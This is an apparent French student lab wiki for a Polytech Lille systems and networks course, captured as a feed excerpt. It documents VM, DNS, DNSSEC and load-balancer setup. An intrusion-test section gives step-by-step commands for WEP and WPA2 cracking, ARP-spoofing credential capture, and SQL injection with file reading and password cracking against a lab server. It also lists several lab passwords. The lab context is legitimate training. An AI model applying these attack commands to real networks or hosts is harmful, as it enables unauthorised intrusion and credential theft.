&lt;br /&gt;
Ce role permet (après avoir push sur le registry de notre seconde machine virtuelle), d'installer l'image webserver_amanite sur l'ensemble des machine qui sont dans l'hote webservers.&lt;br /&gt;
Sur ces machines virtuelles, il faut également rajouter au fichier daemon.json (dans le dossier /etc/docker) l'ensemble des repository non sécurisés (afin d'y prendre les images).&lt;br /&gt;
&lt;br /&gt;
Puis nous avons déployé notre container grâce à notre playbook :&lt;br /&gt;
&lt;br /&gt;
 - hosts: webservers&lt;br /&gt;
   roles:&lt;br /&gt;
          - new_container&lt;br /&gt;
&lt;br /&gt;
=== Equilibreur de charge ===&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite ajouté le serveur web virtuel reverse.amanite.site, puis nous avons activé les modules apaches suivants (pour l'ensemble de nos étapes) :&lt;br /&gt;
&lt;br /&gt;
 a2enmod proxy&lt;br /&gt;
 a2enmod proxy_http&lt;br /&gt;
 a2enmod proxy_balancer&lt;br /&gt;
 a2enmod lbmethod_byrequests&lt;br /&gt;
&lt;br /&gt;
Pour notre première partie nous avons modifier notre fichier amanite.site.db (qui se situe dans /etc/bind/zones) et nous y avons rajouter la ligne :&lt;br /&gt;
 reverse IN      CNAME   www&lt;br /&gt;
(Nous n'oublions pas d'incrémenter le numéro de version, de signer la zones pour DNSSEC ainsi que redémarrer le service bind9).&lt;br /&gt;
&lt;br /&gt;
Par la suite nous avons rajouter un site dans /etc/apache2/site-available que nous nommons reverse.conf :&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;                                                                                                              &lt;br /&gt;
         ServerName reverse.amanite.site    &lt;br /&gt;
         ServerAdmin lolopierro                                                                                                                                                                                               &lt;br /&gt;
         ProxyPass / http://192.168.42.5:8085                                                                                      &lt;br /&gt;
         ProxyPassReverse / http://192.168.42.5:8085                                                                                                                                                                          &lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Que nous ajoutons à nos sites enable via la commande : a2ensite reverse.conf, puis nous redémarrons le service apache2.&lt;br /&gt;
Après cette étape notre site est accessible via l'URL reverse.amanite.conf (qui est pour le moment accessible via notre seule machine virtuelle secondaire sur chassiron).&lt;br /&gt;
&lt;br /&gt;
Dans un second temps nous avons modifié notre fichier de configuration reverse.conf afin d'y rajouter de l'équilibrage de charge :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
         ServerName reverse.amanite.site&lt;br /&gt;
         ServerAdmin lolopierro&lt;br /&gt;
         &amp;lt;Proxy &amp;quot;balancer://mycluster&amp;quot;&amp;gt;&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.5:8085&amp;quot; route=1&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.2:8085&amp;quot; route=2&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.4:8085&amp;quot; route=3&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.7:8085&amp;quot; route=4&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.9:8085&amp;quot; route=5&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.12:8085&amp;quot; route=6&lt;br /&gt;
                 ProxySet lbmethod=byrequests&lt;br /&gt;
         &amp;lt;/Proxy&amp;gt;&lt;br /&gt;
         ProxyPass / balancer://mycluster/&lt;br /&gt;
         ProxyPassReverse / balancer://mycluster/&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour vérifier notre loadbalancing nous avons modifié notre page index.html, puis nous avons build notre nouvelle image docker contenant cette page html, nous l'avons push sur le registry et pull depuis notre machine amanite sur Chassiron. Nous avons ensuite relancé notre playbook nous permettant de déployer cette image sur toutes les machines secondaires virtuelles, mais seul notre machine amanite (car nous avons pull sur cette machine) et les machines n'ayant pas eu le déploiement avant on été actualisé. Cela nous permet de bien vérifier notre loadbalancing.&lt;br /&gt;
&lt;br /&gt;
Une deuxième méthode pour vérifier celui-ci est l'ajout du module status sur apache :&lt;br /&gt;
&lt;br /&gt;
 a2enmod status&lt;br /&gt;
&lt;br /&gt;
Puis nous avons modifié notre fichier de configuration reverse.conf en y ajoutant les lignes suivantes :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;Location &amp;quot;/server-status&amp;quot;&amp;gt;&lt;br /&gt;
          SetHanlder server-status&lt;br /&gt;
          Order Allow,Deny&lt;br /&gt;
          Allow from all&lt;br /&gt;
 &amp;lt;/Location&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Malheureusement nous n'arrivons pas à accéder à la page reverse.amanite.site/server-status malgré les différentes recherches effectuées.&lt;/div&gt;</summary>
		<author><name>Psanchez</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=55081</id>
		<title>TP sysres IMA5sc 2020/2021 G5</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=55081"/>
				<updated>2020-12-20T15:00:52Z</updated>
		
		<summary type="html">&lt;p&gt;Psanchez : /* Sécurisation de serveur DNS par DNSSEC */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 5&lt;br /&gt;
| amanite.site&lt;br /&gt;
| Debian 10 Buster&lt;br /&gt;
| 305&lt;br /&gt;
| 100.64.0.24&lt;br /&gt;
| 255.255.255.0&lt;br /&gt;
| 100.64.0.254&lt;br /&gt;
| 100.64.0.1&lt;br /&gt;
| 100.64.0.2&lt;br /&gt;
| 193.48.57.184&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==Création d'une machine virtuelle Xen Linux sur le dom0 capbreton.plil.info==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh :&lt;br /&gt;
&lt;br /&gt;
ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Création de la VM Xen :&lt;br /&gt;
&lt;br /&gt;
&amp;gt; su - (Afin de pouvoir accéder aux variables d'environnement de su et ainsi accéder à sbin/mkswap)&lt;br /&gt;
&lt;br /&gt;
&amp;gt; xen-create-image --hostname=amanite --ip=100.64.0.19 --netmask=255.255.255.0 --gateway=100.64.0.5 --password=pasglop --dir=/usr/local/xen --dist=buster &lt;br /&gt;
&lt;br /&gt;
Résultat de la commande :&lt;br /&gt;
 General Information&lt;br /&gt;
 --------------------&lt;br /&gt;
 Hostname       :  amanite&lt;br /&gt;
 Distribution   :  buster&lt;br /&gt;
 Mirror         :  http://deb.debian.org/debian&lt;br /&gt;
 Partitions     :  swap            512M  (swap)&lt;br /&gt;
                  /               4G    (ext4)&lt;br /&gt;
 Image type     :  sparse&lt;br /&gt;
 Memory size    :  256M&lt;br /&gt;
 Kernel path    :  /boot/vmlinuz-4.19.0-9-amd64&lt;br /&gt;
 Initrd path    :  /boot/initrd.img-4.19.0-9-amd64&lt;br /&gt;
&lt;br /&gt;
 Networking Information&lt;br /&gt;
 ----------------------&lt;br /&gt;
 IP Address 1   : 100.64.0.19 [MAC: 00:16:3E:C4:6A:BB]&lt;br /&gt;
 Netmask        : 255.255.255.0&lt;br /&gt;
 Gateway        : 100.64.0.5&lt;br /&gt;
&lt;br /&gt;
===Configuration des LV===&lt;br /&gt;
&lt;br /&gt;
Après que Guillaume ait créer un volume group sur capbreton pour chaque groupe puis attribuer 2 Logical Volume (LV) de 10Go sur ce volume group il est nécessaire de formater ces 2 LV à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite1&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite2&lt;br /&gt;
&lt;br /&gt;
Nous avons par la suite modifié le fichier config de la VM, ''amanite.cfg'', afin qu'elle possède les volumes loguqes amanite1 et amanite2 précédemment créé en rajoutant les lignes ci-dessous :&lt;br /&gt;
&lt;br /&gt;
Dans la fonction Disk Device(s) :&lt;br /&gt;
 disk = [&lt;br /&gt;
 ...&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez1,xvdav3,w'&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez2,xvdav4,w'&lt;br /&gt;
 ]&lt;br /&gt;
&lt;br /&gt;
Puis dans Networking :&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, ...']&lt;br /&gt;
&lt;br /&gt;
===Création et configuration de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
Lorsque nous nous sommes connectés en ssh à capbreton, creation de la VM avec la commande : xl create -c /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
*Commandes utiles&lt;br /&gt;
** Affichage de l'ensemble des VM présente sur capbreton : xl list&lt;br /&gt;
** Se connecter à la VM : xen console amanite&lt;br /&gt;
 Identifiant de la machine : root&lt;br /&gt;
 Mdp de la machine : pasglop&lt;br /&gt;
&lt;br /&gt;
'''Suite de la configuration'''&lt;br /&gt;
&lt;br /&gt;
Pour que les répertoires /var et /home de la machine virtuelle soient sur des partitions LVM de l’hôte il faut tout d'abord formater xvda3, xvda4 en ext 4  à l'aide des commandes : &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda3 &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
Par la suite nous montons nos deux disques afin d'y déplacer nos répertoires (en ayant préalablement créer les points de montages /mnt/xvda3 et /mnt/xvda4) :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 root@amanite:~# mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Le répertoire /home étant vide nous ne déplaçons que le répertoire /var dans le disques xvda4 :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mv /var/* /mnt/xvda4.&lt;br /&gt;
&lt;br /&gt;
Puis nous démontons (umount) nos deux volumes.&lt;br /&gt;
&lt;br /&gt;
Nous modifions ensuite /ect/fstab en ajoutant :&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Puis nous les montons à l'aide de la commande : &lt;br /&gt;
 mount -a &lt;br /&gt;
Finalement à l'aide de la commande lsblk nous pouvons verifier notre montage : &lt;br /&gt;
 NAME  MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT&lt;br /&gt;
 xvda1 202:1    0  512M  0 disk [SWAP]&lt;br /&gt;
 xvda2 202:2    0    4G  0 disk /&lt;br /&gt;
 xvda3 202:3    0   10G  0 disk /home&lt;br /&gt;
 xvda4 202:4    0   10G  0 disk /var&lt;br /&gt;
&lt;br /&gt;
==Service Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
Installation d'un serveur ssh, accessible grâce à la commande :&lt;br /&gt;
 ssh root@amanite.site&lt;br /&gt;
avec le mot de passe habituel d'une zabeth non root. (Il faut au préalable avoir autoriser la connexion en root : PermitRootLogin yes dans le fichier /etc/ssh/sshd_config)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Nous avons commencé par louer un nom de domaine sur gandi.net :&lt;br /&gt;
 amanite.site&lt;br /&gt;
Nous avons ensuite installé le package bind9.&lt;br /&gt;
&lt;br /&gt;
Dans le dossier de configuration de bind9 on modifie les fichiers de configurations :&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/zones/amanite.site.db :&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.amanite.site. postmaster.amanite.site. (&lt;br /&gt;
                              6         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.amanite.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	 IN 	 MX	 42 ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.184&lt;br /&gt;
 www     IN      A       193.48.57.184&lt;br /&gt;
 ns1     IN      AAAA    2001:660:4401:60b2:216:3eff:fec4:6abb&lt;br /&gt;
 www     IN      AAAA    2001:660:4401:60b2:216:3eff:fec4:6abb&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/name.conf.options&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
 	directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 	dnssec-validation auto;&lt;br /&gt;
 	listen-on-v6 { any; };&lt;br /&gt;
 	allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;;};&lt;br /&gt;
 };&lt;br /&gt;
 &lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
     217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net nous lions ns1.amanite.site à 193.48.57.184 grâce à l'option Gluerecords, ensuite on ajoute aux serveurs de noms externes.&lt;br /&gt;
 ns1.amanite.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
Pour vérifier le bon fonctionnement on peut utiliser les commandes suivantes :&lt;br /&gt;
 host -t any ns1.amanite.site localhost&lt;br /&gt;
 host -t any ns1.amanite.site&lt;br /&gt;
&lt;br /&gt;
ou se servir de nslookup.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de site web par certificat===&lt;br /&gt;
&lt;br /&gt;
Pour sécuriser notre site web par certificat il faut d'abord créer un certificat pour cela on utilise l'utilitaire openssl et nous nous aidons de la documentation de Gandi.&lt;br /&gt;
Cette ligne de commande nous permet de lancer la procédure de création :&lt;br /&gt;
&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout amanite.site.key -out amanite.site.csr&lt;br /&gt;
&lt;br /&gt;
 Country Name (2 letter code) [AU]:FR&lt;br /&gt;
 State or Province Name (full name) [Some-State]:France&lt;br /&gt;
 Locality Name (eg, city) []:Lille&lt;br /&gt;
 Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech&lt;br /&gt;
 Organizational Unit Name (eg, section) []:IMA&lt;br /&gt;
 Common Name (e.g. server FQDN or YOUR name) []:amanite.site&lt;br /&gt;
 Email Address []:admin@amanite.site&lt;br /&gt;
 &lt;br /&gt;
 Please enter the following 'extra' attributes&lt;br /&gt;
 to be sent with your certificate request&lt;br /&gt;
 A challenge password []:glopglop&lt;br /&gt;
 An optional company name []:&lt;br /&gt;
&lt;br /&gt;
Une fois la procédure lancée nous rentrons nos informations comme notre pays, notre entreprise, notre nom d'organisation mais le plus important notre common name &amp;quot;amanite.site&amp;quot;.&lt;br /&gt;
Une fois fini deux fichiers sont créés amanite.site.key et amanite.site.csr, il faut maintenant faire signer le fichier amanite.site.csr par une authorité de certification. Cela se passe directement sur le site de gandi, nous ajoutons ce certificat a notre nom de domaine et nous attendons de recevoir le certificat signé.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Le but de cette partie est de résoudre certains problèmes de sécurité liés au protocole DNS grâce au procole DNSSEC. DNSSEC permet de proteger les données et les enregistrements DNS de bout en bout (et non pas seulement le canal de communication comme ce qui pourrait être fait avec TLS). Ainsi, il est efficace même lorsqu'un serveur intermédiaire a été compromis. &lt;br /&gt;
Pour ce faire, nous configurons bind pour qu'il soit capable d'accepter les échanges suivant le protocole DNSSEC.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par activer DNSSEC dans le fichier /etc/bind/named.conf.local grâce à l'option :&lt;br /&gt;
 dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Par la suite nous créons un dossier amanite.site.dnssec dans lequel seront stockées les clefs et nous générons deux couples de clefs (ZSK et KSK) qui permettront de chiffrer ou déchiffrer les enregistrements. Nous commençons par créer la clef asymétrique de signature de clefs de zone : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE amanite.site&lt;br /&gt;
Puis la clef asymétrique de la zone pour signer les enregistrements :&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE amanite.site&lt;br /&gt;
&lt;br /&gt;
Nous renommons les deux paires de clefs obtenues pour plus de lisibilité : &lt;br /&gt;
 amanite-ksk.key amanite-ksk.private amanite-zsk.key amanite-zsk.private&lt;br /&gt;
&lt;br /&gt;
Que nous incluons dans votre fichier de zone /etc/bind/zones/amanite.site.db :&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-ksk.key&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Sans oublier d'incrémenter le numéro de version de la zone dans le fichier amanite.site.db et amanite.site.db.signed&lt;br /&gt;
&lt;br /&gt;
Nous signons les enregistrements de la zone avec la commande : &lt;br /&gt;
 dnssec-signzone -o amanite.site -k amanite.site-ksk ../zones/amanite.site.db amanite.site-zsk &lt;br /&gt;
&lt;br /&gt;
Ensuite dans le fichier /etc/bind/named.conf.local nous modifions la zone :&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db.signed&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
L'avant dernière étape consiste à communiquer la partie publique de la KSK (amanite.site-ksk.key) à Gandi (partie DNSSEC)&lt;br /&gt;
&lt;br /&gt;
Finalement nous relançons bind : &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/amanite.site&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screenshot_amanite.site.png|thumb|center||alt=texte alternatif|400px|Screenshot sur le site DNSSEC Analyzer]]&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion==&lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d’un point d’accès WiFi===&lt;br /&gt;
&lt;br /&gt;
*Liste des commandes :&lt;br /&gt;
** Lister les interfaces WiFi disponibles : airmong-ng&lt;br /&gt;
** Passage d'une interface en mode moniteur : airmong-ng start &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Affichage et scan des réseaux WiFi WEP environnants : airodump-ng --encrypt wep &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Capture des paquets émis par le point d'accés cible :  airodump-ng --write &amp;lt;nomFichierSortie&amp;gt; --channel 3 -bssid &amp;lt;@mac_AP&amp;gt; &amp;lt;nomInterface&amp;gt;&lt;br /&gt;
** Crack la clef WEP après avoir capture au minimum 30 000 paquets : aircrack-ng -x &amp;lt;nomFichierSortie&amp;gt;-01.cap&lt;br /&gt;
&lt;br /&gt;
Notre première étape consiste à passer notre interface en mode moniteur.&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng&lt;br /&gt;
&lt;br /&gt;
Ce qui nous retourne le nom de notre interface, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande afin d'écouter le trafic wifi aux alentours : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
 &lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux WiFi WEP capter par notre interface : &lt;br /&gt;
 airodump-ng --encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Apparaît alors la cracotte05, nous récupérons son BSSID : 04:DA:D2:9C:50:54 qui va alors nous servir à stocker les vecteurs d'initialisation générées par le point d'accés à l'aide de la commande : &lt;br /&gt;
 airodump-ng --write data --channel 3 -bssid 04:DA:D2:9C:50:54 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous pouvons &amp;quot;stimuler&amp;quot; le point d'accés, afin d'augmenter le nombre de paquets transmis (et collectés) : &lt;br /&gt;
 '''Fake Authentication''' : aireplay-ng -1 0 -e cracotte05 -a 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 '''Injection''' : aireplay-ng -3 -e cracotte05 -b 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir capturer assez de paquet (environ 30 000) il est possible de cracker la clé WEP à l'aide de la commande : &lt;br /&gt;
 aircrack-ng -z data.cap&lt;br /&gt;
&lt;br /&gt;
Nous obtenons alors : &lt;br /&gt;
 KEY FOUND! [F1:DE:D4:00:00:00:00:00:00:00:0F:FF:FF ] &lt;br /&gt;
Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA2-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette deuxième étape de craquage de clé, nous allons utiliser quelques commandes communes au craquage de la clé WEP.&lt;br /&gt;
&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng afin de lister nos interfaces, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux capter par notre interface : &lt;br /&gt;
 airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous repérons le réseau &amp;quot;Kracotte05&amp;quot; qui possède le BSSID suivant &amp;quot;00:14:1B:60:8C:24&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons lancer dès lors la commande :&lt;br /&gt;
 airodump-ng --write data -c 3 -bssid 00:14:1B:60:8C:24 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Il faut désormais attendre que le handshake soit notifié, dès que celui-ci arrive nous pouvons arreter la capture.&lt;br /&gt;
En parallèle nous pouvons d'ors et déjà créer le dictionnaire qui va nous permettre de casser la clé WPA grâce à la commande crunch :&lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt; dico.txt&lt;br /&gt;
En effet nous savons que le mot de passe n'est composé que de chiffres et la taille totale de celui-ci est de longueur égale à 8.&lt;br /&gt;
&lt;br /&gt;
Pour cracker le mot de passe, nous avons utiliser hashcat, un utilitaire qui permet notamment d'utiliser la puissance du GPU pour le craquage de la clé.&lt;br /&gt;
&lt;br /&gt;
La commande est la suivante :&lt;br /&gt;
 crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
Le mot de passe pour la kracotte05 est le suivant : 10244444&lt;br /&gt;
&lt;br /&gt;
===Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP===&lt;br /&gt;
&lt;br /&gt;
Pour réaliser cette attaque, nous installons le paquet dsniff sur notre eeePC grâce à la commande :&lt;br /&gt;
 apt-get install dsniff&lt;br /&gt;
&lt;br /&gt;
La première étape consiste à transformer notre machine attaquante en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1 : echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward &lt;br /&gt;
&lt;br /&gt;
Nous pouvons afficher la table arp de la machine pirate avec la commande : &lt;br /&gt;
 arp -a&lt;br /&gt;
Grâce à cette table nous identifions deux adresses IP :&lt;br /&gt;
&lt;br /&gt;
172.26.145.254&lt;br /&gt;
-&amp;gt; Adresse IP du routeur&lt;br /&gt;
&lt;br /&gt;
172.26.145.60&lt;br /&gt;
-&amp;gt; Adresse IP de la machine victime&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Notre but est de nous placer entre la gateway et la machine victime afin de pouvoir observer les paquets échangés entre le routeur et la machine victime.&lt;br /&gt;
&lt;br /&gt;
Les commandes suivantes vont nous permettre de procéder à notre attaque du type ARP poisoning :&lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.254 172.26.145.60 &lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.60 172.26.145.254 &lt;br /&gt;
&lt;br /&gt;
La première envoie à la cible (172.26.145.254) une fausse réponse ARP afin de corrompre le cache ARP de cette dernière pour ainsi détourner le trafic à destination de notre hôte (172.26.145.60). Ainsi lorsque le routeur devra envoyer des informations à destination de 172.26.145.60, il procédera à une résolution ARP en utilisant l'adresse MAC associé à l'IP 172.26.145.60 et qui aura été changer à la suite de notre spoofing (et nous sera alors associé). La même méthodologie est appliquée pour la seconde commande.&lt;br /&gt;
&lt;br /&gt;
En activant le mode routeur sur la machine pirate, nous pouvons retransférer les paquets entre le routeur et la machine victime de manière transparante. &lt;br /&gt;
&lt;br /&gt;
La machine victime va maintenant se connecter sur un serveur web HTTP.&lt;br /&gt;
&lt;br /&gt;
En lançant wireshark sur la machine attaquante nous observons les paquets suivants :&lt;br /&gt;
[[Fichier:wireshark_grp5.jpg|thumb|center||alt=texte alternatif|400px|Capture Wireshark]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous pouvons voir très clairement l'adresse mail ainsi que le mot de passe utilisés par l'utilisateur victime.&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d’application Web===&lt;br /&gt;
&lt;br /&gt;
Pour commencer ce challenge nous n’avons qu’une adresse : honey.plil.info. Afin de connaitre les services sur cette machine nous utilisons l’utilitaire nmap qui va scanner le réseau grâce à des pings sweep :&lt;br /&gt;
&lt;br /&gt;
 nmap -A -T4 honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap_honey.png|thumb|center||alt=texte alternatif|400px|Nmap honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Nous voyons que le serveur héberge deux services :&lt;br /&gt;
Un service de connexion ssh, inutilisable sans login et mot de passe&lt;br /&gt;
Un service web.&lt;br /&gt;
&lt;br /&gt;
Nous essayons donc de commencer par attaquer le site web honey.plil.info&lt;br /&gt;
&lt;br /&gt;
Sur la page principale seul un formulaire de connexion est présent, celui-ci sûrement utilisé par une base de données donc nous tentons une injection SQL.&lt;br /&gt;
Les requêtes SQL de connexions sont souvent de la forme : &lt;br /&gt;
Select … From … Where login = « username » AND password = « password ».&lt;br /&gt;
Si nous connaissons l’username ou le mot de passe du compte sur lequel nous voulons nous connecter nous pouvons utiliser une injection du type « or 1 = 1 -- » qui est une condition toujours vraie. Dans notre cas nous ne connaissons ni le login ni le password à utiliser donc on utilise la condition vraie sur les deux champs. De ce fait la base de données sera « perdu » et nous renvoie tous les comptes auxquels nous pouvons nous connecter en nous disant que nous ne pouvons nous connecter à tous ces comptes en même temps.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Sql_injection_honey.png|thumb|center||alt=texte alternatif|400px|Injection SQL honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en tant qu’admin nous voyons que nous avons accès à trois pages, deux sont intéressantes :&lt;br /&gt;
- La première permet d’uploader un fichier qui est stocké sur le pc du server&lt;br /&gt;
- La deuxième permet de lire ce fichier.&lt;br /&gt;
&lt;br /&gt;
Nous uploadons le fichier password situé dans le dossier « etc », en le lisant nous nous apercevons que deux utilisateurs sont présents sur le serveur : root et rex et ces deux utilisateurs ont les droits pour se connecter en ssh. Nous uploadons le fichier shadow situé dans le dossier « etc », malheureusement celui-ci est vide.&lt;br /&gt;
&lt;br /&gt;
Après quelques tentatives infructueuses pour trouver le mot de passe de rex ou de root on se sert de l’utilitaire dirb qui va bruteforce le site internet pour trouver d’autres liens.&lt;br /&gt;
&lt;br /&gt;
 dirb -r honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Dirb_honey.png|thumb|center||alt=texte alternatif|400px|Dirb honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Celui-ci nous permet de voir qu’une page http://honey.plil.info/phpmyadmin/ est présente. Nous avons fait des recherches pour savoir dans quel fichier était stocké le mot de passe administrateur de phpmyadmin. Nous uploadons donc le fichier config.inc.php, à l’intérieur de celui-ci nous ne trouvons rien excepté un deuxième nom de fichier : “config-db.php”. Dans celui-ci nous trouvons le mot de passe “gencovid19”. Une fois connecté en tant que root sur phpmyadmin, nous fouillons les bases de données et nous trouvons le nom d’utilisateur “rex” et le mot de passe “plainpassword” dans la base “test”.&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en ssh sur le compte de rex, nous avons regardé ses droits et ceux-ci sont quasi identique à ceux de root on peut donc ouvrir le fichier “shadow”, récupérer le hash du mot de passe de root. Nous avons ensuite créé un dictionnaire en partant du principe que le mot de passe était de la forme &amp;quot;glopglop&amp;quot; et nous avons craqué le hash avec John the ripper qui nous donne le mot de passe ********.&lt;br /&gt;
&lt;br /&gt;
==Réalisations==&lt;br /&gt;
&lt;br /&gt;
